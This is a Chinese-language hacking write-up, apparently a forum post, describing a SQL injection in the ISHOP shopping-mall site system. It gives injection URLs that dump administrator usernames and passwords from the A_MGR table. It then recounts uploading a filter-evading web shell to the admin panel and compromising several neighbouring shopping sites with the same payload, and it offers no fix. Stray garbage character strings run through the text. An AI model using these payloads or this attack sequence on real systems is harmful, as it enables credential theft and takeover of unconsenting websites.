ISHOP商场建站系统注入漏洞

admin

发现一个注入点
9 h/ M7 |* g& }http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389

" u/ N1 S. t9 V# e& x习惯性的加’having1=1--
9 y" M7 C) M* N8 _
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—

$ D. |( P* o7 w0

爆出Diary_A.dl_Title（这时候很激动啊）
6 K/ B5 N( ]& u" r" S( v- x; h
8 I/ e) r4 P7 H2 ]6 f. x; Z/ Y$ P那么继续
" _0 Q) v8 {9 }. V3 W7 y  @2 yhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

继续，一直爆下去
# Z8 ~/ ?( j) G9 J
爆到几个字段和表段 但是没找到需要的管理用户的字段
( |, Q! H  h- f% C4 _8 r) ?
/ A7 r) D5 b& X0 d0 G# \$ ~蛋疼了 怎么办 然后去后台登陆页看源码

0

  o( M: D% R# O) p* [+ wInput name= “ADUID”
Input name= “ADPWD”

很幸运 找到了字段那就继续
找到之后开始爆用户
) }3 K0 z  r/ r. s2 Ahttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
7 `4 v1 n! p" Rhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
测试了下 这个注入点只能爆到文章哪里的表

头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
: o2 |, a6 v  M$ t4 }2 ^' l
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了

473
4 V1 D: [! k1 D* w  g, A
进后台
. C2 B6 O8 V  M+ ]  z
, p+ K; w1 V2 s% S, y- M
7 y; x" A. q+ s7 L# X1 h发现几个上传点 有的地方不能上传 而且防止恶意代码
0 V- ~& W7 O5 j* p2 i
没办法 各种百度各种找大牛 找到一只好像可以突破的马
! X4 V. `5 t4 e% C2 M

# C- U% L# A! z+ k+ h) _5 x. P在系统管理那里直接上传 不过没有显示地址
+ U2 ?2 r: X$ s. T
再上传一次 抓包 搞定OK



1 k' S# x0 y) n7 Q0 i* {: s! |0 b% v472
3 M% t0 y# q" G* b  t
0 F8 Y5 P/ v! Y4 B2 |, Z( D" H晚上不行了 去睡觉。。。
第二天刚起床 闲的没事做继续日站吧

! h. d$ t! I% q# M- X找个站 就把这个站的旁c扫了下
: V, P! |, B$ X. v, f# |
1 m5 I% p$ x" F) }$ Y! Y发现c段也有一个购物站 ，然后还和这个站的模板差不多

+ ^, D: o* I: [# G% a就找到会员登录口测试

'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀
. K. j  G& h2 y% N) n
$ U% L' g$ U9 C' B再次翻c段

翻出几个站 都成功拿下
  b* L0 o7 K2 W& _4 {3 r( x& D7 H

8 W6 y0 S5 |; [4 M/ F* x
+ E' |0 T% ~; x. Y, _& u修复方案：
' {2 F2 w2 P2 p2 }& k- o$ m& ?他们比我专业
9 d/ L' R7 M7 U0 O, f​

4 L$ T$ |8 |( o$ d" T3 _
; ^2 q0 ?6 G% Q2 h+ o4 b+ C) c1 C